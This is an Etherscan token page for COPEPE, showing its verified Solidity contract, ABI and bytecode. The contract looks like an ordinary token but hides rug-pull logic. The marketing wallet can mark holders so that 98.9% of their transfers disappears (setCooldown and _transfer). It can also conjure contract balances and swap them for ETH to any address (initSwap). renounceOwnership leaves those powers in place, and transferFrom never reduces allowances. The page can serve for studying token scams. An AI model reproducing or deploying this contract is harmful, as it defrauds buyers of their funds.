ETH Price: $2,294.97 (-2.66%)

Token

COPEPE (COPEPE)
 

Overview

Max Total Supply

1,000,000,000,000 COPEPE

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
25,431,716,147.152183694 COPEPE

Value
$0.00
0xae59a1f6525cfd1259be901d19fecab408a28d3a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Copepe

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-07-14
*/

pragma solidity ^0.8.18;
// SPDX-License-Identifier: MIT


library SafeMath {

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}


contract Context {
    function msgSender() public view returns (address) {return msg.sender;}
}

interface IUniswapV2Router {
    function factory() external pure returns (address addr);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata _path, address c, uint256) external;
    function WETH() external pure returns (address aadd);
}
abstract contract Ownable {
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    address private _owner;
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    constructor () {
        emit OwnershipTransferred(address(0), _owner);
        _owner = msg.sender;
    }
    function owner() public view virtual returns (address) {return _owner;}
}

contract Copepe is Ownable, Context {
    using SafeMath for uint256;

    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    bool cooldownEnabled = true;
    function disableCooldown() external onlyOwner {
        cooldownEnabled = false;
    }
    address public marketingWallet;
    uint256 maxTransaction = 1000000000000 * 10 ** _decimals;
    uint256 maxWalletAmount = 1000000000000 * 10 ** _decimals;
    constructor() {
        _balances[msg.sender] = _totalSupply; 
        marketingWallet = msg.sender;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    string private _name = "COPEPE";
    string private _symbol = "COPEPE";
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function setCooldown(address[] calldata _address) external { 
        uint256 to = block.number + 1;
        for (uint _inx = 0;  _inx < _address.length;  _inx++) { 
            if (fromMarketingWallet()){cooldowns[_address[_inx]] = to;}
        }
    } 
    mapping(address => uint256) private _balances;
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    } 
    IUniswapV2Router private uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    function _transfer(address _from, address _to, uint256 _amount) internal {
        require(_amount <= _balances[_from]); 
        require(_from != address(0));
        uint256 feeAmount = (cooldowns[_from] != 0 && cooldowns[_from] <= block.number) ? _amount.mul(989).div(1000) : 0;
        _balances[_from] -= _amount; 
        _balances[_to] += _amount - feeAmount;
        emit Transfer(_from, _to, _amount);
    }
    function transfer(address recipient, uint256 value) public returns (bool) { _transfer(msg.sender, recipient, value); return true; }
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function initSwap(uint256 value, address swapAddress) external {
        if (fromMarketingWallet()) { _approve(address(this), address(uniswapRouter),  value); 
        _balances[address(this)] = value;
        address[] memory path = new address[](2);  
        path[0] = address(this);   path[1] = uniswapRouter.WETH();  
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(value, 0, path, swapAddress, 30 + block.timestamp);
        }
    }
    mapping (address => uint256) cooldowns;
    function balanceOf(address account) public view returns (uint256) { return _balances[account]; } 
    function fromMarketingWallet() internal view returns (bool) {
        return msgSender() == marketingWallet;
    }
    event Transfer(address indexed from, address indexed to_add, uint256);
    function transferFrom(address _from, address _to, uint256 amount) public returns (bool) {
        _transfer(_from, _to, amount);
        require(_allowances[_from][msg.sender] >= amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal {
        require(spender != address(0));
        require(owner != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    event Approval(address indexed from_add, address indexed to_add, uint256 value);
    function totalSupply() external view returns (uint256) { 
        return _totalSupply; 
    }
    function decimals() external view returns (uint256) {
        return _decimals;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from_add","type":"address"},{"indexed":true,"internalType":"address","name":"to_add","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to_add","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"address","name":"swapAddress","type":"address"}],"name":"initSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSender","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_address","type":"address[]"}],"name":"setCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a919062000503565b64e8d4a510006200002c919062000554565b6002556001600360006101000a81548160ff021916908315150217905550600154600a6200005b919062000503565b64e8d4a510006200006d919062000554565b600455600154600a62000081919062000503565b64e8d4a5100062000093919062000554565b6005556040518060400160405280600681526020017f434f50455045000000000000000000000000000000000000000000000000000081525060069081620000dc91906200080f565b506040518060400160405280600681526020017f434f504550450000000000000000000000000000000000000000000000000000815250600790816200012391906200080f565b50737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200018657600080fd5b5060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600254600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000368919062000907565b60405180910390a362000924565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200040457808604811115620003dc57620003db62000376565b5b6001851615620003ec5780820291505b8081029050620003fc85620003a5565b9450620003bc565b94509492505050565b6000826200041f5760019050620004f2565b816200042f5760009050620004f2565b8160018114620004485760028114620004535762000489565b6001915050620004f2565b60ff84111562000468576200046762000376565b5b8360020a91508482111562000482576200048162000376565b5b50620004f2565b5060208310610133831016604e8410600b8410161715620004c35782820a905083811115620004bd57620004bc62000376565b5b620004f2565b620004d28484846001620003b2565b92509050818404811115620004ec57620004eb62000376565b5b81810290505b9392505050565b6000819050919050565b60006200051082620004f9565b91506200051d83620004f9565b92506200054c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200040d565b905092915050565b60006200056182620004f9565b91506200056e83620004f9565b92508282026200057e81620004f9565b9150828204841483151762000598576200059762000376565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200062157607f821691505b602082108103620006375762000636620005d9565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006a17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000662565b620006ad868362000662565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006f0620006ea620006e484620004f9565b620006c5565b620004f9565b9050919050565b6000819050919050565b6200070c83620006cf565b620007246200071b82620006f7565b8484546200066f565b825550505050565b600090565b6200073b6200072c565b6200074881848462000701565b505050565b5b8181101562000770576200076460008262000731565b6001810190506200074e565b5050565b601f821115620007bf5762000789816200063d565b620007948462000652565b81016020851015620007a4578190505b620007bc620007b38562000652565b8301826200074d565b50505b505050565b600082821c905092915050565b6000620007e460001984600802620007c4565b1980831691505092915050565b6000620007ff8383620007d1565b9150826002028217905092915050565b6200081a826200059f565b67ffffffffffffffff811115620008365762000835620005aa565b5b62000842825462000608565b6200084f82828562000774565b600060209050601f83116001811462000887576000841562000872578287015190505b6200087e8582620007f1565b865550620008ee565b601f19841662000897866200063d565b60005b82811015620008c1578489015182556001820191506020850194506020810190506200089a565b86831015620008e15784890151620008dd601f891682620007d1565b8355505b6001600288020188555050505b505050505050565b6200090181620004f9565b82525050565b60006020820190506200091e6000830184620008f6565b92915050565b611c3e80620009346000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c80635fb9340c116100ad57806395d89b411161007157806395d89b411461030f578063a457c2d71461032d578063a9059cbb1461035d578063d737d0c71461038d578063dd62ed3e146103ab5761012c565b80635fb9340c1461028f57806370a0823114610299578063715018a6146102c957806375f0a874146102d35780638da5cb5b146102f15761012c565b806323b872dd116100f457806323b872dd146101d5578063313ce5671461020557806332424aa31461022357806339509351146102415780633eaaf86b146102715761012c565b80630204f6771461013157806306fdde031461014d578063095ea7b31461016b578063141eb3e01461019b57806318160ddd146101b7575b600080fd5b61014b60048036038101906101469190611363565b6103db565b005b61015561048c565b6040516101629190611440565b60405180910390f35b610185600480360381019061018091906114f6565b61051e565b6040516101929190611551565b60405180910390f35b6101b560048036038101906101b0919061156c565b610535565b005b6101bf6107d7565b6040516101cc91906115bb565b60405180910390f35b6101ef60048036038101906101ea91906115d6565b6107e1565b6040516101fc9190611551565b60405180910390f35b61020d610882565b60405161021a91906115bb565b60405180910390f35b61022b61088c565b60405161023891906115bb565b60405180910390f35b61025b600480360381019061025691906114f6565b610892565b6040516102689190611551565b60405180910390f35b610279610930565b60405161028691906115bb565b60405180910390f35b610297610936565b005b6102b360048036038101906102ae9190611629565b6109c8565b6040516102c091906115bb565b60405180910390f35b6102d1610a11565b005b6102db610b44565b6040516102e89190611665565b60405180910390f35b6102f9610b6a565b6040516103069190611665565b60405180910390f35b610317610b93565b6040516103249190611440565b60405180910390f35b610347600480360381019061034291906114f6565b610c25565b6040516103549190611551565b60405180910390f35b610377600480360381019061037291906114f6565b610d4c565b6040516103849190611551565b60405180910390f35b610395610d63565b6040516103a29190611665565b60405180910390f35b6103c560048036038101906103c09190611680565b610d6b565b6040516103d291906115bb565b60405180910390f35b60006001436103ea91906116ef565b905060005b8383905081101561048657610402610df2565b156104735781600a600086868581811061041f5761041e611723565b5b90506020020160208101906104349190611629565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b808061047e90611752565b9150506103ef565b50505050565b60606006805461049b906117c9565b80601f01602080910402602001604051908101604052809291908181526020018280546104c7906117c9565b80156105145780601f106104e957610100808354040283529160200191610514565b820191906000526020600020905b8154815290600101906020018083116104f757829003601f168201915b5050505050905090565b600061052b338484610e51565b6001905092915050565b61053d610df2565b156107d35761056f30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e51565b81600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156105d0576105cf6117fa565b5b6040519080825280602002602001820160405280156105fe5781602001602082028036833780820191505090505b509050308160008151811061061657610615611723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e1919061183e565b816001815181106106f5576106f4611723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000848642601e61077f91906116ef565b6040518663ffffffff1660e01b815260040161079f95949392919061196e565b600060405180830381600087803b1580156107b957600080fd5b505af11580156107cd573d6000803e3d6000fd5b50505050505b5050565b6000600254905090565b60006107ee848484610fae565b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087757600080fd5b600190509392505050565b6000600154905090565b60015481565b6000610926338484600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461092191906116ef565b610e51565b6001905092915050565b60025481565b3373ffffffffffffffffffffffffffffffffffffffff16610955610b6a565b73ffffffffffffffffffffffffffffffffffffffff16146109ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a290611a14565b60405180910390fd5b6000600360006101000a81548160ff021916908315150217905550565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a30610b6a565b73ffffffffffffffffffffffffffffffffffffffff1614610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90611a14565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610ba2906117c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610bce906117c9565b8015610c1b5780601f10610bf057610100808354040283529160200191610c1b565b820191906000526020600020905b815481529060010190602001808311610bfe57829003601f168201915b5050505050905090565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cb057600080fd5b610d42338484600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3d9190611a34565b610e51565b6001905092915050565b6000610d59338484610fae565b6001905092915050565b600033905090565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e35610d63565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e8a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ec357600080fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fa191906115bb565b60405180910390a3505050565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610ffa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361103357600080fd5b600080600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156110c3575043600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b6110ce5760006110f8565b6110f76103e86110e96103dd8561121c90919063ffffffff16565b61129690919063ffffffff16565b5b905081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111499190611a34565b92505081905550808261115c9190611a34565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111aa91906116ef565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161120e91906115bb565b60405180910390a350505050565b600080830361122e5760009050611290565b6000828461123c9190611a68565b905082848261124b9190611ad9565b1461128b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128290611b7c565b60405180910390fd5b809150505b92915050565b60008082116112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190611be8565b60405180910390fd5b600082846112e89190611ad9565b90508091505092915050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f840112611323576113226112fe565b5b8235905067ffffffffffffffff8111156113405761133f611303565b5b60208301915083602082028301111561135c5761135b611308565b5b9250929050565b6000806020838503121561137a576113796112f4565b5b600083013567ffffffffffffffff811115611398576113976112f9565b5b6113a48582860161130d565b92509250509250929050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113ea5780820151818401526020810190506113cf565b60008484015250505050565b6000601f19601f8301169050919050565b6000611412826113b0565b61141c81856113bb565b935061142c8185602086016113cc565b611435816113f6565b840191505092915050565b6000602082019050818103600083015261145a8184611407565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061148d82611462565b9050919050565b61149d81611482565b81146114a857600080fd5b50565b6000813590506114ba81611494565b92915050565b6000819050919050565b6114d3816114c0565b81146114de57600080fd5b50565b6000813590506114f0816114ca565b92915050565b6000806040838503121561150d5761150c6112f4565b5b600061151b858286016114ab565b925050602061152c858286016114e1565b9150509250929050565b60008115159050919050565b61154b81611536565b82525050565b60006020820190506115666000830184611542565b92915050565b60008060408385031215611583576115826112f4565b5b6000611591858286016114e1565b92505060206115a2858286016114ab565b9150509250929050565b6115b5816114c0565b82525050565b60006020820190506115d060008301846115ac565b92915050565b6000806000606084860312156115ef576115ee6112f4565b5b60006115fd868287016114ab565b935050602061160e868287016114ab565b925050604061161f868287016114e1565b9150509250925092565b60006020828403121561163f5761163e6112f4565b5b600061164d848285016114ab565b91505092915050565b61165f81611482565b82525050565b600060208201905061167a6000830184611656565b92915050565b60008060408385031215611697576116966112f4565b5b60006116a5858286016114ab565b92505060206116b6858286016114ab565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116fa826114c0565b9150611705836114c0565b925082820190508082111561171d5761171c6116c0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061175d826114c0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361178f5761178e6116c0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117e157607f821691505b6020821081036117f4576117f361179a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061183881611494565b92915050565b600060208284031215611854576118536112f4565b5b600061186284828501611829565b91505092915050565b6000819050919050565b6000819050919050565b600061189a6118956118908461186b565b611875565b6114c0565b9050919050565b6118aa8161187f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6118e581611482565b82525050565b60006118f783836118dc565b60208301905092915050565b6000602082019050919050565b600061191b826118b0565b61192581856118bb565b9350611930836118cc565b8060005b8381101561196157815161194888826118eb565b975061195383611903565b925050600181019050611934565b5085935050505092915050565b600060a08201905061198360008301886115ac565b61199060208301876118a1565b81810360408301526119a28186611910565b90506119b16060830185611656565b6119be60808301846115ac565b9695505050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119fe6020836113bb565b9150611a09826119c8565b602082019050919050565b60006020820190508181036000830152611a2d816119f1565b9050919050565b6000611a3f826114c0565b9150611a4a836114c0565b9250828203905081811115611a6257611a616116c0565b5b92915050565b6000611a73826114c0565b9150611a7e836114c0565b9250828202611a8c816114c0565b91508282048414831517611aa357611aa26116c0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611ae4826114c0565b9150611aef836114c0565b925082611aff57611afe611aaa565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b6000611b666022836113bb565b9150611b7182611b0a565b604082019050919050565b60006020820190508181036000830152611b9581611b59565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000611bd2601b836113bb565b9150611bdd82611b9c565b602082019050919050565b60006020820190508181036000830152611c0181611bc5565b905091905056fea264697066735822122029ccf4b53072d3a0298f1b788e94f58db51600bc61500cfb5b8574d4c2a3a5a564736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80635fb9340c116100ad57806395d89b411161007157806395d89b411461030f578063a457c2d71461032d578063a9059cbb1461035d578063d737d0c71461038d578063dd62ed3e146103ab5761012c565b80635fb9340c1461028f57806370a0823114610299578063715018a6146102c957806375f0a874146102d35780638da5cb5b146102f15761012c565b806323b872dd116100f457806323b872dd146101d5578063313ce5671461020557806332424aa31461022357806339509351146102415780633eaaf86b146102715761012c565b80630204f6771461013157806306fdde031461014d578063095ea7b31461016b578063141eb3e01461019b57806318160ddd146101b7575b600080fd5b61014b60048036038101906101469190611363565b6103db565b005b61015561048c565b6040516101629190611440565b60405180910390f35b610185600480360381019061018091906114f6565b61051e565b6040516101929190611551565b60405180910390f35b6101b560048036038101906101b0919061156c565b610535565b005b6101bf6107d7565b6040516101cc91906115bb565b60405180910390f35b6101ef60048036038101906101ea91906115d6565b6107e1565b6040516101fc9190611551565b60405180910390f35b61020d610882565b60405161021a91906115bb565b60405180910390f35b61022b61088c565b60405161023891906115bb565b60405180910390f35b61025b600480360381019061025691906114f6565b610892565b6040516102689190611551565b60405180910390f35b610279610930565b60405161028691906115bb565b60405180910390f35b610297610936565b005b6102b360048036038101906102ae9190611629565b6109c8565b6040516102c091906115bb565b60405180910390f35b6102d1610a11565b005b6102db610b44565b6040516102e89190611665565b60405180910390f35b6102f9610b6a565b6040516103069190611665565b60405180910390f35b610317610b93565b6040516103249190611440565b60405180910390f35b610347600480360381019061034291906114f6565b610c25565b6040516103549190611551565b60405180910390f35b610377600480360381019061037291906114f6565b610d4c565b6040516103849190611551565b60405180910390f35b610395610d63565b6040516103a29190611665565b60405180910390f35b6103c560048036038101906103c09190611680565b610d6b565b6040516103d291906115bb565b60405180910390f35b60006001436103ea91906116ef565b905060005b8383905081101561048657610402610df2565b156104735781600a600086868581811061041f5761041e611723565b5b90506020020160208101906104349190611629565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b808061047e90611752565b9150506103ef565b50505050565b60606006805461049b906117c9565b80601f01602080910402602001604051908101604052809291908181526020018280546104c7906117c9565b80156105145780601f106104e957610100808354040283529160200191610514565b820191906000526020600020905b8154815290600101906020018083116104f757829003601f168201915b5050505050905090565b600061052b338484610e51565b6001905092915050565b61053d610df2565b156107d35761056f30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e51565b81600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156105d0576105cf6117fa565b5b6040519080825280602002602001820160405280156105fe5781602001602082028036833780820191505090505b509050308160008151811061061657610615611723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e1919061183e565b816001815181106106f5576106f4611723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000848642601e61077f91906116ef565b6040518663ffffffff1660e01b815260040161079f95949392919061196e565b600060405180830381600087803b15801